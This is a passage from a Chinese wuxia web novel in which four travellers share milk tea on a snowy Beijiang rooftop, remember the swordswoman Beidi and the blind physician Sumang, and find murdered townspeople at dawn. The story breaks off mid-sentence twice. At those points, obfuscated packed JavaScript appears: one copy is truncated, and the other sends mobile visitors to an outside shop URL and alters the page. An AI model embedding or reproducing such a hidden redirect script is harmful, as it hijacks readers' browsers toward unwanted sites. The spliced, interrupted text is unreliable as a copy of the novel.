她掰了一小块烤馕,放进嘴里,嚼了嚼,脸上没什么表情,但她又掰了一块。 姣姣看见了,笑了。 她拿起那壶奶茶,给自己倒了一碗。 奶茶是咸的,冒着热气,上面飘着一层薄薄的奶皮。她端起来,吹了吹,喝了一口。 然后她的动作停了。 碗举在嘴边,眼睛盯着碗里的奶茶,愣了一瞬。 “怎么了?” 姜亦问。 姣姣没回答。 她又喝了一口,这一次喝得很慢,像是在品什么。 然后她放下碗,笑了。 那笑容和刚才不一样,不是那种“好吃”的笑,是一种更深的、更软的东西。 “好喝。” 姣姣说,声音比平时轻了一些。 “我有个很好的朋友,北疆人,就喜欢喝奶茶。她说要带我喝,那时候我还喝不惯,觉得咸的怎么喝啊。现在一尝——” 她低头看着碗里的奶茶,碗里的热气扑在她脸上,把她的眼睛蒙上一层薄薄的水雾。 “好像还不错。” 她说完,看了一眼远方的夜色。 天很黑,没有星星,月亮挂在天边,又大又圆,泛着冷冷的银白色光。 远处的雪山在月光下沉默着,山顶的积雪像一顶白帽子。 风吹过来,裹着雪沫子,从楼顶掠过,吹动她红狐裘的毛领子。 那阵风很轻,像是有什么东西从很远的地方赶来,轻轻地碰了碰她的脸颊,然后又走了。 没有人注意到。 姣姣收回目光,又喝了一口奶茶。 这一次她没有停顿,一口接一口,喝得很快,像是在赶什么。 闻人奚郁坐在她对面,端着奶茶,看着她的表情,忽然开口:“北疆人吗?兴许我还认识。” 姣姣抬头看他,愣了一下,然后笑了。 那笑容又变回了平时那种笑嘻嘻的样子,但眼底有什么东西闪了一下。 “嘿嘿嘿,闻人公子肯定不认识。”她把碗放下,抓起一串羊肉串,咬了一口,“而且我也不打算说。” 闻人奚郁看着她,笑了。 他点了点头,没有追问,端起奶茶喝了一口。 姜亦坐在旁边,一直没怎么说话。 他看着面前那碗奶茶,端起来,闻了闻,眉头皱了一下。 又凑近闻了闻,眉头皱得更紧了。 他抿了一口。 然后他的表情,像是被人往嘴里塞了一块石头。 “……咸的?” 姜亦看向闻人奚郁。 闻人奚郁端着奶茶,笑眯眯地说:“对,咸的。” “我喝不惯咸的。” 姜亦把碗放下,眉头拧成一团。 闻人奚郁的笑意更深了。 “我知道,所以特地点的。” 姜亦看着他,眼神如果能杀人,闻人奚郁已经死了八百回了。 姣姣在旁边笑得直拍毡毯。 “姜大侠!你喝个奶茶怎么跟上刑似的!” 姜亦没理她。 他盯着那碗奶茶,像是在看一个敌人。 过了很久,他又端起来,抿了一口。 眉头皱得更紧了,但他没有放下碗,又抿了一口。 “什么鬼东西。”他说,声音从牙缝里挤出来。 闻人奚郁和姣姣同时笑出了声。 奕秋坐在旁边,端着奶茶,喝了一口。 她的脸上没什么表情,但她的嘴角,微微扬了几丝。 火炉里的炭烧得通红,橘红色的光落在四个人身上,把他们的影子投在天台的墙壁上,交叠在一起。 姣姣吃完第十串羊肉串,终于放慢了速度。她靠在一个火炉旁边,把红狐裘裹紧,看着天上的月亮。 “北疆的月亮,真的好大。” 闻人奚郁也抬起头,看着那轮月亮。 “嗯。北疆离天近。” “离天近?” 姣姣扭头看他。 “地势高。”闻人奚郁说,“北疆是四域最高的地方。站在雪山顶上,伸手就能碰到云。” 姣姣眨眨眼,忽然说:“那北疆主住的地方,是不是离天最近?” 闻人奚郁端着奶茶的手顿了一下。 然后他笑了,那笑容很轻,和平时那种笑眯眯的样子不太一样。 “算是吧。” 姜亦看了他一眼,什么都没说。 奕秋忽然开口。 她的声音很平静,像是在说一件跟自己无关的事。 “图腾部落的压制,你们了解多少?” 天台上安静了一瞬。 闻人奚郁放下奶茶,收起了笑。 他看着远处的雪山,沉默了一会儿,然后说:“图腾部落有一种上古力量,能压制所有非北疆王族血脉的人。” 他指了指远处雪山脚下那片黑色的影子。“看见那个了吗?那就是图腾柱。进了那个范围,尊界会被压到五道左右,五道会被压到三道左右。” 姜亦的眉头皱了起来。 “尊界被压到五道?” “嗯。”闻人奚郁点头,“具体压多少,看个人。内力越强,压得越少。但不管你是谁,进去之后,境界都会掉。” 他看了一眼姜亦。 “你这种尊界四重,进去之后,大概五道左右。” 又看了一眼奕秋。 “尊界一重,也是五道左右。” 最后看向姣姣。 “五道四重,可能会被压到三道四重,甚至更低。” 姣姣眨眨眼。 “那我不是进去就趴下了?” 闻人奚郁没说话,但他的眼神里有一丝担心。 姜亦的手按在剑柄上,指节泛白。 “那怎么打?” 闻人奚郁没有回答。 他看着远处的雪山,看了很久。 月光落在他脸上,把那层淡薄的表情照得几乎透明。 “奕秋姑娘,你那位师妹,真的不简单啊。” “闯了图腾部落,打了呼延烈,还毁了几个图腾柱。” “竟然能够全身而退。” 奕秋的手指在剑上攥紧了。 “所以,杀她的人,不好对付。” 她的声音很平静,但她的手,在无尘剑的剑鞘上轻轻抚过。 姣姣看着她,张了张嘴,想说什么,但没说出来。 闻人奚郁低下头,看着自己的手。 他的手指修长,骨节分明,在月光下泛着淡淡的青白色。 “一共就只有两个人闯过图腾。”他开口,声音很轻,轻得像是在说一件很久以前的事。“第一个是北娣。她死后——” 他顿了顿。 “北疆主也闯过。” 奕秋接话。 她的声音很平静,但每一个字都像钉子一样扎进夜色里。 “然后北疆主受重伤,后来鲜少露面。” 闻人奚郁笑了。那笑容很淡,淡得像是挂在嘴角的一层霜。 “对。” 天台上安静了很久。 火炉里的炭噼啪响了一声,溅出一两点火星。火星在夜色里闪了一下,就灭了。 姣姣低着头,看着自己的手指。 她的手指在膝盖上轻轻敲着,一下,一下。 然后她抬起头,看着闻人奚郁。 “闻人公子,你认识北娣吗?” 闻人奚郁的手指停了一瞬。 他没有立刻回答。 他看着远处的雪山,看了很久。月光落在他脸上,把那层淡薄的表情照得几乎透明。 然后他开口。 “认识。” 他的声音很轻,像是在说一件很久以前的事。 “那是在北疆北部,图腾部落最猖獗的时候。” * 三年前。 北疆北部,图腾部落的势力范围边缘。 闻人奚郁一个人走在雪地里。 他穿着淡紫色的衣袍,长发披散,手里拿着折扇。 他走得很慢,像在散步。 但这个地方不是散步的地方。 地上有血,还没干透,在雪地里洇开,像一朵朵暗红色的花。 空气里弥漫着浓重的血腥味,混着雪沫子,钻进鼻子里,让人想呕。 闻人奚郁踩过那些血迹,脚步没有停顿。他的脸上没什么表情,但他的手在袖子里攥得很紧。 然后他听见了剑鸣声。 是收剑的声音。 不是那种凌厉的、杀意凛然的剑鸣,是一种很轻的、像风吹过竹叶的声音。那声音在雪地里传得很远,穿过风声,穿过血腥味,落进他耳朵里。 他停下脚步。 前面是一片乱石滩,石头被雪覆盖着,只露出一个个圆鼓鼓的轮廓。 乱石滩中间,站着一个人。 白衣。 高马尾。 剑。 血。 那个人站在雪地里,白衣上溅满了血,分不清是自己的还是别人的。 高马尾在风里飘着,发尾沾着血,结成了冰碴。 剑握在手里,剑身上全是血,但剑刃还是亮的。 她脚边躺着七具尸体。 闻人奚郁看了一眼那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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白衣人看了他一眼。 那一眼很淡,像是在看一个路边的石头,又像是在看一本已经读过的书。 “不问。” “我刚刚都知道了。” 闻人奚郁的笑容更深了。 “那我倒是很想问姑娘,”他开口,声音里带着一点试探,又带着一点真诚,“你是什么境界?那七个人,可是五道,而且这是图腾范围内,尊界都会被压制到五道甚至以下。” 白衣人没有立刻回答。 她低头看了一眼地上的尸体,又抬头看了一眼远处的雪山。 然后她转过头,看着闻人奚郁。 “一个路人。” 她说完,把剑插回腰间的剑鞘里,转身走了。 白衣在雪地里越来越远,高马尾在风里飘着,最后消失在一片白茫茫的雪幕里。 闻人奚郁站在原地,看着那个方向,看了很久。 然后他低下头,笑了一下。 “有意思。” * 天台上,火炉里的炭烧得通红。 闻人奚郁说完,端起奶茶喝了一口,看着远处的雪山。 “这是我和北娣,第一次见面的场景。” 姣姣坐在旁边,手里还举着一串羊肉串,但已经忘了咬。 她看着闻人奚郁的侧脸,月光落在他脸上,把那层淡薄的表情照得几乎透明。 “所以你是谁?” 姣姣问。 闻人奚郁笑了一下,没有正面回答。 “东夷卦修,什么都能算到。她看一眼,就知道我是谁。但她没有说破。” “她说不问,她刚刚都知道了。”闻人奚郁顿了顿,“她说的‘知道’,不是猜的,是她算出来的。” “那也是我第一次见到真正的东夷卦修。” 姜亦端着奶茶,一直没有喝。 他看着闻人奚郁,看了很久,然后低下头,喝了一口。 眉头皱了一下,但没有放下碗。 奕秋坐在角落里,一直没有说话。 月光落在她脸上,把那张清冷的脸照得几乎透明。 姣姣看着闻人奚郁,忽然说:“闻人公子,你后来还见过她吗?” 闻人奚郁沉默了一瞬。 “见过。” “在北疆城。她来查图腾部落的事,在王庭借宿了几天。那时候我在——” 他顿了一下。 “那时候我刚好也在。” 姜亦忽然开口。他的声音很平静,平静得像是在说一件跟自己无关的事。 “你为什么不拦她?” 闻人奚郁没有回答。 他看着远处的雪山,看了很久。月光落在他脸上,把那层淡薄的表情照得透亮。 “她走的那天晚上,”他的声音很轻,“我去送她。她说——‘闻人公子,北疆的事,我会查清楚的。’我问她,要不要帮手。她笑了,说‘不用,我一个人就行’。” 他低下头,看着自己的手。 “她说一个人就行。” 天台上安静了很久。 火炉里的炭噼啪响了一声,溅出一两点火星。 火星在夜色里闪了一下,就灭了。 姣姣看着闻人奚郁,忽然伸出手,拍了拍他的肩膀。 “闻人公子,北娣的事,我们帮她查完。” 闻人奚郁抬起头,看着她。 姣姣咧嘴一笑,还是那种笑嘻嘻的样子,但眼底有什么东西很认真。 “她没查完的,我们帮她查。她没带回来的,我们帮她带回来。她没说完的话——” 她顿了顿。 “我们替她说。” 闻人奚郁看着她,看了很久。 然后他笑了。 “好。” 天台上安静下来。 火炉里的炭还在烧,橘红色的光落在四个人身上,把他们的影子投在墙壁上,交叠在一起。 姣姣靠在火炉旁边,闭上眼睛。 红狐裘裹着她,暖意从火炉里漫过来,把她整个人包住了。 她想起很多年前,有个人也是这样坐在火炉旁边,端着一碗奶茶,笑眯眯地跟她说:“你尝一口嘛,真的很好喝。” 她那时候说:“咸的,不好喝。” 那个人说:“你多喝几口就习惯了。” 她没有多喝。 后来那个人走了,她再也没有喝过奶茶。 今天她喝了。 她忽然觉得,那个人说得对。 多喝几口,就习惯了。 风吹过来,轻轻拂过她的脸颊,像是有什么东西从很远的地方赶来,碰了碰她的脸,然后又走了。 闻人奚郁站起来,把那条厚毡毯捡起来,抖了抖上面的灰,披在姣姣肩上。 姣姣没睁眼,但她的嘴角弯了一下。 姜亦突然站起来,把火炉一个一个挪到天台边缘,挡住风。 结果风又大了些。 姣姣感受着风拂过自己的脸,笑了一声。 29. 闲敲棋子落灯花 火炉里的炭又添了一次。 姣姣靠在火炉旁边,红狐裘裹着她,暖意从炉膛里漫过来,把她整个人烘得软绵绵的。 她手里还攥着那串早就凉了的羊肉串,有一口没一口地啃着,眼睛半睁半闭,像一只被烤暖了的猫。 姜亦把最后一个火炉挪到天台边缘,挡着风口,走回来坐下。 他把手放在那碗奶茶旁边,手指在碗沿上轻轻敲了两下。 “北娣的信里说。” 他开口,声音不大,像是在自言自语,又像是在问在座的人。 “她把宿莽带回来。” “宿莽是谁?” 姣姣啃羊肉串的动作停了。 她嚼了两下,咽下去,把铁签子放在毡毯上,拍了拍手上的渣。 红狐裘的毛领子围着她的小脸,只露出一双眼睛,那双眼睛在火光里显得格外亮。 “南水的神医。”她的声音比平时轻了一些,不是那种“我在讲一个故事”的轻,是那种“我在说一个认识的人”的轻。 “我知道他。” 她顿了顿,像是在想什么。 “他很出名。” “医术好,心也好。在南水边境摆了个摊,给人看病,不收穷人的钱。有钱的就随缘给,给多少算多少,他救过很多人,整个南水没有不知道他的。” 姣姣低下头,看着火炉里的炭,火光映在她眼睛里,一跳一跳的。 “是个很好的人。” 姜亦端起奶茶,没有喝。 他看着姣姣的侧脸,火光在她脸上明明灭灭,把那层惯常的吊儿郎当照得褪了几分。 “他有什么特征吗?” 姣姣沉默了一瞬。 “眼盲。” 姜亦的手停在半空。 奶茶碗举在嘴边,没有喝,也没有放下。 他沉默了很久。 火炉里的炭噼啪响了一声,溅出一两点火星,在夜色里闪了一下就灭了。 风吹过来,裹着雪沫子,从楼顶掠过,吹动他墨绿色的衣摆。 “我有印象。” 他的声音比平时低了一些。 “他来原终救过人。那年皇城闹疫病,从南边传过来的,死了很多人。太医院的人束手无策,太医令托人从南水请了一位神医。” 他顿了顿。 “我见过他。他穿着白衣服,眼睛上蒙着白纱,走路要拄竹杖。” “但他给病人把脉的时候,手很稳。” 姜亦低下头,看着碗里的奶茶。 奶茶已经凉了,表面凝了一层薄薄的奶皮。 “我不知道他叫宿莽。” “我只知道,他是从南水来的。” 闻人奚郁坐在对面,端着奶茶,一直没有喝。 他看着姜亦,火光在他眼底跳动,把那双向来含笑的桃花眼照得很亮,但眼底没有笑。 “我也听说过他。” 他的声音很轻,像是在说一件很久以前的事。 “北疆也有人去南水请过他。他来过北疆,在边境几个部落里待了两个月,治好了很多人的病。不收钱,连路费都是自己出的。” 他顿了顿。 “我也听人提过他的名字,说那个南水来的神医,眼睛看不见,但比谁都看得清。” 奕秋坐在角落里,一直没有说话。 她忽然开口。 “他的医术很好。” 她的声音很平静。 “我的师父,也关注过他一段时间。” 姣姣扭头看她。 奕秋没有看她,目光落在远处的雪山上。 月光落在山顶的积雪上,泛着银白色的光。 “师父说,他的医术不是南水正统的路子,更像是在民间自己摸索出来的。但他摸得很准,准到不像是摸索出来的。师父说他天赋异禀,可惜——” 她停了一下。 “后来他死了,没有一点痕迹。像是从来没有在这个世界上存在过。” 姣姣看着她,张了张嘴,想说什么,但没说出来。 她低下头,从腰间摸出一颗花生,剥开,塞进嘴里,嚼了嚼。 花生烤过,很香,但她嚼得很慢,像是在想什么。 “花归鸢也注意过他。” 姣姣说。 声音很轻,像是在说一件很普通的事。“她说过,宿莽的医术,如果放在南水正统的体系里,至少是长老级别。” “但他不愿意进南水,就喜欢在边境摆摊,给人看病,收几个铜板,够吃饭就行。” 姜亦看着她,看了很久。 火光在他眼底跳动,把他的表情照得忽明忽暗。 “你认识花归鸢?” 姣姣愣了一下,然后笑了。 那笑容很淡,和平时那种笑嘻嘻的样子不一样。 “认识啊。”她说,“我不是说过吗。” 姜亦没有再问。 他终于喝了一口奶茶。 奶茶已经凉了。 闻人奚郁把茶壶提起来,往姜亦碗里添了一点热茶。 热茶冲进凉奶茶里,热气冒出来,姜亦的眉头松了一些。 闻人奚郁放下茶壶,看着奕秋。 “奕秋姑娘,”他开口,声音很温和,像是怕惊动什么,“你的师父,是叫鸾虞?” 奕秋的手指在剑鞘上停了一瞬。 “是鸾虞尊君。” 闻人奚郁点了点头,他没有追问。 姜亦放下碗,看着奕秋。火光在他眼底跳动,把他那双眼睛照得很亮。 “她是什么来头?” “江湖上少有关于东夷的事。我只知道东夷有一个鸾虞尊君,她什么境界?” “江湖上,根本没人见过她,也没人知道她是不是还活着。” 他顿了顿,像是在想什么。 “我一开始问过你。在马车上,我问你师承,你说师尊已故。” 奕秋没有说话。 姜亦看着她,沉默了一瞬。 “不知奕秋姑娘现在可否真正告知。” 他的声音比平时轻了一些。 “她还活着吗?” 天台上安静了很久。 火炉里的炭烧得通红,偶尔噼啪一声,溅出一两点火星。 风吹过来,裹着雪沫子,从楼顶掠过,吹动四个人的衣摆。 红狐裘的毛领子在风里轻轻颤动,白狐裘的衣角翻飞了一下又落下去。 奕秋的嘴唇动了一下,像要说什么,但什么都没说出来。 姣姣在旁边嗑了一颗花生。 她把花生壳扔进火炉里,壳在炭上卷曲、发黑,冒出一缕细细的烟。 她看着那缕烟飘起来,散在夜色里,然后笑了。 “谁知道呢。” 那笑容很淡,和平时不一样。不是那种“我在开玩笑”的笑,是那种“我知道答案但我不想说”的笑。 姜亦看着她,看了很久。 姣姣没有躲他的目光,就那么笑眯眯地回看过去,手里又摸出一颗花生,剥开,塞进嘴里,嚼得嘎嘣响。 闻人奚郁在旁边笑了一声。 那笑声很轻,像是在笑姜亦不该问这个问题,又像是在笑别的什么。 他端起奶茶,喝了一口,放下,然后开口,声音很温和,像是在说一件无关紧要的事。 “鸾虞尊君的事,我倒是听说过一些。” 奕秋的目光移向他。 闻人奚郁没有看她,他看着远处的雪山。 “北疆的旧卷宗里,提到过她。说她是东夷卦术的开创者,好像很强。后来销声匿迹,有人说她死了,有人说她隐居了,也有人说——” 他顿了一下。 “她还在。” 姣姣嗑瓜子的动作停了一瞬。 然后她又摸出一颗花生,剥开,塞进嘴里,嚼了嚼,咽下去。 她的脸上没什么表情,但她的手,在红狐裘的毛领子上轻轻抚过。 姜亦把空碗放在毡毯上,看着姣姣。 “北娣的信里说,要把宿莽带回来。” 天台上安静了很久。 火炉里的炭烧得通红,把他们的影子投在墙壁上,交叠在一起。风吹过来,裹着雪沫子,从楼顶掠过,吹动那些影子,它们在墙上晃动了一下,又稳住了。 姣姣低着头,看着火炉里的炭。火光在她眼底跳动,把她的表情照得忽明忽暗。 她忽然开口,声音比平时轻了很多。 “宿莽是个很好的人。我虽然没见过他,但花归鸢跟我提过他。说他医术好,心也好,眼睛看不见,但比谁都看得清。说他救过很多人,从来不求回报。说他——” 她顿了一下。 “说他死得不明不白,连尸体都没找到。” 她抬起头,看着远处的雪山。月光落在山顶的积雪上,泛着银白色的光。 “北娣一定很喜欢他。”她说,“不然不会一个人去闯图腾部落。” 奕秋的手指在剑鞘上攥紧了。她的手,在无尘剑的剑鞘上轻轻抚过,一遍又一遍。 闻人奚郁忽然开口,声音很轻。 “她确实很喜欢他。” 姣姣看向他。 “她在王庭借宿的那几天,我见过她几次。她大多数时候都在翻卷宗,查图腾部落的事。但有一次,她坐在院子里,手里拿着一条白纱,看了很久。” 他顿了一下。 “我问她,那是什么。” “她说,是宿莽的。他眼睛看不见,走路要拄竹杖,但他从来不用人扶。他一个人走遍了南水、原终、北疆,救了无数人。” 他救过很多人,但他救不了自己。 姣姣低着头,看着火炉里的炭。 “她要去原终的那天。” 闻人奚郁继续说,声音很轻,轻得像是在说一件很久以前的事。 “我问她,要不要帮手。她说,不用,她一个人就行。” 他低下头,看着自己的手。 “她说一个人就行。” 天台上安静了很久。 奕秋忽然开口,声音很平静。 “她从小就这样。一个人闯南水,一个人闯原终,一个人闯北疆。从来不要人帮。” 姣姣看着她,张了张嘴,想说什么,但没说出来。她从腰间摸出一颗花生,剥开,递到奕秋面前。 奕秋低头看着那颗花生,看了很久。然后她伸出手,接过去,放进嘴里。嚼了嚼,咽下去。 “好吃。” 姣姣笑了。 那笑容很淡,和平时那种笑嘻嘻的样子不一样,是一种更软的、更暖的东西。 姜亦坐在旁边,看着这一幕,忽然开口。 “你们说的那个鸾虞尊君,”他顿了顿,“她教出来的徒弟,一个比一个厉害。” 奕秋看了他一眼。 姣姣在旁边笑出了声。 “姜大侠,你这是在夸我家小姐吗?” 闻人奚郁把茶壶提起来,给每个人碗里添了一点热茶。 热茶冲进碗里,热气冒出来,在夜色里袅袅升起,很快就被风吹散了。 “北娣的事,”他开口,声音很平静,“我们帮她查完。她没查完的,我们查。她没带回来的,我们带回来。” 姣姣端起奶茶,喝了一口。这一次她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437493|200983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有皱眉,喝得很自然,像是在喝一种她喝了很多年的东西。 “对。”她说,“她没说完的话,我们替她说。” 奕秋点头。 风吹过来,裹着雪沫子,从楼顶掠过。几片雪花落在姣姣的红狐裘上,落在奕秋的白狐裘上,落在姜亦的墨绿衣摆上,落在闻人奚郁的淡紫色袖口上。 雪花很小,落在毛料上很快就化了,只留下一小片湿润的痕迹。 姣姣低头看着那片湿润的痕迹,看了很久。 然后她抬起头,看着远处的雪山。月光落在山顶的积雪上,泛着银白色的光。 那座山沉默地立在那里,像是一个沉默的证人。 “等图腾部落的事查完了,”她忽然开口,声音比平时轻了很多,“我们去看看北娣和宿莽的坟。” 奕秋看着她。 姣姣没有看她,她看着远处的雪山,月光落在她脸上,把她那层惯常的吊儿郎当照得褪了几分,露出一张很认真的脸。 “给他们带束花。”她说,“再带点酒。北疆的酒,烈,适合他们。” 奕秋没有说话。 她低下头,看着手里的茶碗。碗里的热茶冒着热气,扑在她脸上,把她的眼睛蒙上一层薄薄的水雾。 “好。”她说。声音很轻,轻得像是一片雪花落在手心里。 姜亦把空碗放在毡毯上,站起来,走到天台边缘。 他看着远处的雪山,月光落在他身上,把他那件墨绿色的衣袍照得泛着银光。 左耳的麒麟坠在风里轻轻晃了晃,发出一声极轻的脆响。 “她那个起手式,”闻人忽然开口,没有回头,“跟你的很像。” 姣姣愣了一下。 闻人奚郁转过身,看着她。 “北娣的剑法,跟你的很像。” 姣姣眨眨眼,然后笑了。 那笑容很淡,和平时那种笑嘻嘻的样子不一样。 “是吗?”她说,“也许吧。” 闻人奚郁看着她,忽然笑了。 “姣姣姑娘,我可不可以再问一次。” 他开口,声音温和。 “你的剑法,到底是谁教的?” 姣姣把花生咽下去,拍了拍手上的渣。她看着闻人奚郁,火光在她眼底跳动,把她的表情照得忽明忽暗。 “我师父。”她说。 “你师父是谁?” 姣姣想了想。 “一个很厉害的人,他也是剑修。” 她咧嘴一笑,又变回了平时那种笑嘻嘻的样子。 “比姜亦这个青穹榜首还要厉害的多。” 闻人奚郁看着她,没有追问。 比江湖第一剑修、原终主姜亦…还要厉害吗? 他端起奶茶,喝了一口,然后放下,看着远处的雪山。 “北疆的雪,真的很好看。”他忽然说,声音很轻。 姣姣顺着他的目光看过去。 月光落在雪山上,把整座山照得银白。山顶的积雪在风里扬起,像一面白色的旗。 “嗯。”她说,“好看。” 没有人再说话。 * 远处,无尽风霜。 一个身材姣好、长相艳丽的女子站在暗处,看着楼顶上的四人,目光也移向了雪山。 红纱缎子缠绕在身上,腰间裸露,一眼便看见那纤细的腰肢,裙摆左侧开叉,露出美艳的大腿。 姹媛。 她的身旁还有一个男子。 身形颀长,穿着一件敞开的深褐色皮袍,露出大片精壮的胸膛。 骨叟。 “这四个人,是要查下去?” 姹媛的目光落在最强的原终主身上。 骨叟盯着奕秋,开口:“又是东夷卦修。” “再查下去,下一个死的人就是她。” 然后,姹媛笑了一声。 “不自量力。” 骨叟也笑了。 “自讨苦吃。” * 火炉里的炭烧了整整一夜。 天快亮的时候,姣姣靠在奕秋肩上睡着了。 红狐裘裹着她,毛领子围着她的小脸,只露出一双闭着的眼睛。 她的睫毛很长,在晨光里微微颤动,像是梦见了什么。 奕秋没有动,就那样坐着,让她靠着。 姜亦和闻人奚郁坐在对面,谁都没有说话。 晨光从雪山后面漫过来,把天边染成淡金色。 那金色越来越亮,越来越浓,最后太阳从雪山后面跳出来,金光洒满了整个天台。 火炉里的炭终于烧尽了。最后一缕青烟从炉膛里飘起来,散在晨风里。 姣姣动了一下,没有醒。她往奕秋肩上又靠了靠,红狐裘的毛领子蹭着奕秋的下巴。 奕秋低头看了她一眼。 那一眼里面有什么东西,很软,很暖,像是北疆冬天的火炉。 阳光落在山顶的积雪上,把整座山照得金黄。 闻人奚郁站起来,把那条厚毡毯捡起来,抖了抖上面的灰,轻轻盖在姣姣身上。 然后他走回自己的位置坐下,端起那碗凉透的奶茶,喝了一口。 “凉了。” 他说,像是在自言自语。 姜亦看着他,忽然笑了一下。 “你喝了一晚上凉奶茶,现在才发现?” 闻人奚郁愣了一下,然后笑了。 “嗯,”他说,“才发现。” 晨光落在两个人身上,把他们那件墨绿和淡紫的衣袍照得泛着金光。 风吹过来,带着雪沫子和烤肉的余香。 天亮了。 30. 晨光熹微语几话 姣姣醒来的时候,发现自己躺在床上。不是天台上那张铺了毡毯的硬地,是客栈的床,被褥柔软,枕头上还残留着淡淡的草药香。 她动了一下,想翻身,忽然觉得肩膀上有重量。 她低头。 奕秋睡在她旁边。 白衣还穿着,但领口松了一些,露出一截白皙的锁骨。 她的手搭在姣姣的肩上,指节修长,骨节分明,像是握剑的手,此刻却松松地垂着,没有一丝力道。 姣姣愣了一下。 记忆涌上来。 天快亮的时候,她靠在奕秋肩上睡着了。 迷迷糊糊中有人把她抱起来,从楼顶走下去,穿过走廊,推开房门。 她记得自己当时做了什么。 她伸手搂住了那个人的脖子,往床上一倒,把那个人也拽进了被窝里。 她还记得那个人的表情。 奕秋那张永远没有表情的脸上,出现了零点几息的空白。 不是惊讶,不是无奈,是——没反应过来。 姣姣想到这里,嘿嘿笑了一声。 “笑什么?” 奕秋的声音从头顶传来,带着刚睡醒的沙哑,比平时低沉了一些,像是还没完全醒透。 姣姣抬起头,对上奕秋的眼睛。 那双眼睛还是那样,淡淡的,像是什么都没在想。 但姣姣注意到,奕秋的眼角有一小道红印,是压出来的。 她睡了一夜,没翻身。 “小姐,你昨晚没走啊?” 奕秋看着她,沉默了一瞬。“你抱着,走不了。” 姣姣笑得更开了。 她不但没有松手,反而把脸往奕秋肩窝里蹭了蹭,红狐裘的毛领子蹭着奕秋的下巴,痒痒的。 奕秋没有躲。 “我抱着舒不舒服呀?” 奕秋没有回答。 “洗漱去。” 姣姣又蹭了一下,才松开手。 她从床上坐起来,头发乱成鸟窝,红狐裘皱巴巴地裹在身上,脸上还带着刚睡醒的红晕。 她伸了个懒腰,骨头噼啪响,然后扭头看着奕秋。 奕秋也坐起来了。 她的头发还是那么整齐,白衣只是皱了几个褶子,不像姣姣那样整个人像被揉过的纸团。 她看了姣姣一眼,什么都没说,站起来,走到桌边拿起无尘剑,挂在腰间。 姣姣趴在床沿上,看着她。 “小姐。” “嗯。” “给我讲讲北娣的故事吧。” 奕秋的手指在剑鞘上停了一瞬,看向姣姣,神色很无奈。 晨光从窗户漏进来,落在她身上,把那件白衣照得泛着银白的光。 “她十五岁就出去闯荡了。”奕秋开口,声音很平静,平静得像是在说一件跟自己无关的事。“那时候她五道四重,一个人跑去南水,差点死在那里。” 姣姣趴在床沿上,听着,没有说话。 “被一个神医救了。”奕秋说,“那个人医术很好,眼睛看不见,但比谁都看得清。北娣在他那里养了一个月的伤,回来之后就像变了个人。” “每天天不亮就起来练剑,练到月亮升起来。师父教她起手式,她练了一万遍。师父说‘手腕沉一点’,她就一直沉,沉到手腕酸得抬不起来,筷子都拿不稳。” 奕秋转过身,看着姣姣。 “她扎高马尾,天赋极高。十五岁就入了尊界。” “师父说她是天才。” 姣姣问:“后来呢?” 奕秋沉默了一瞬。 “后来她遇见一个人,一个对她来说很重要的人。” “然后就去了北疆。” “再后来,她就死了。死在长公主府。手里还握着剑。二十八岁。” 房间里安静了很久。 晨光从窗户漏进来,落在地板上,把两个人的影子拉得很长。 姣姣从床上跳下来,走到奕秋面前。 “走吧,”姣姣咧嘴一笑,“下楼吃饭。” 楼下大堂,姜亦和闻人奚郁已经在了。 姣姣一屁股坐下,抓起桌上的包子咬了一口,含糊不清地说:“今天什么安排?” “再等等。” 闻人奚郁的声音很平静。 姜亦看他一眼,没有说话。姣姣嚼着包子,看了看闻人,又看了看姜亦,忽然说:“你们俩昨晚没睡?” 姜亦没回答。闻人奚郁笑了笑,端起奶茶喝了一口。 “睡了。” “睡了?”姣姣盯着他的脸,“你眼睛下面那两道黑印是什么?” 闻人奚郁愣了一下,伸手摸了摸自己的脸,然后笑了。 “可能是昨晚月亮太亮,没睡踏实。” 姣姣“切”了一声,没再问。 她低下头,继续啃包子,啃了两口,忽然说:“北疆的奶茶,喝习惯了还挺好喝的。” 闻人奚郁看着她,笑意深了一些。 奕秋坐在姣姣旁边,吃得慢。她掰了一小块包子,放进嘴里,嚼了嚼,咽下去,然后端起奶茶喝了一口。 四个人安安静静地吃着早饭。 晨光从窗户照进来,落在桌面上,暖洋洋的。 老板娘在柜台后面算账,拨算盘的声音噼里啪啦,混着街上的吆喝声,像一首不紧不慢的曲子。 姣姣吃完第三个包子,正要伸手去拿第四个,忽然听见街上传来一阵哭喊声。 不是那种断断续续的抽泣,是撕心裂肺的、像是要把嗓子喊破的嚎哭。 她的手停在半空。 奕秋放下茶碗。 姜亦的手按上了剑柄。闻人奚郁收起折扇,脸上的笑意淡了。 四个人同时站起来,推门出去。 客栈门口围了一群人。 有人在哭,有人在喊,有人在往后退,有人捂着嘴,脸色惨白。 人群最里面,三具尸体并排躺在雪地里。 姣姣挤进去,蹲下来。 三个男人,穿着北疆城的便服,不是士兵,是平民。 胸口都有一个大洞,血已经被抽干了,伤口边缘发黑,皮肉翻卷。和昨天那具尸体一模一样。 她的手指在伤口边缘轻轻触了一下,放在鼻尖下闻了闻。 姹媛的手笔。 姣姣的脸色没有变,但她的手,在红狐裘的袖子里攥紧了。 “又是那个人。” 姜亦站在她身后,低头看着那三具尸体。他的眉头皱得很紧,手指在剑柄上按着,指节泛白。 “三个平民。不是巡夜的兵。” 闻人奚郁没有说话。他站在人群边缘,看着那三具尸体,脸上什么表情都没有。 但姣姣注意到,他的手指在发抖。 不是冷的抖,是忍的抖。 旁边有人小声议论。 “是图腾部落干的吗……” “昨天就死了一个,今天又死了三个……” “王庭到底管不管……” “管?怎么管?北疆主都不在……” 闻人奚郁听见了。 他没有回头,没有说话。 他只是站在那里,看着那三具尸体。 奕秋蹲下来,伸手掀开其中一具尸体的衣领。 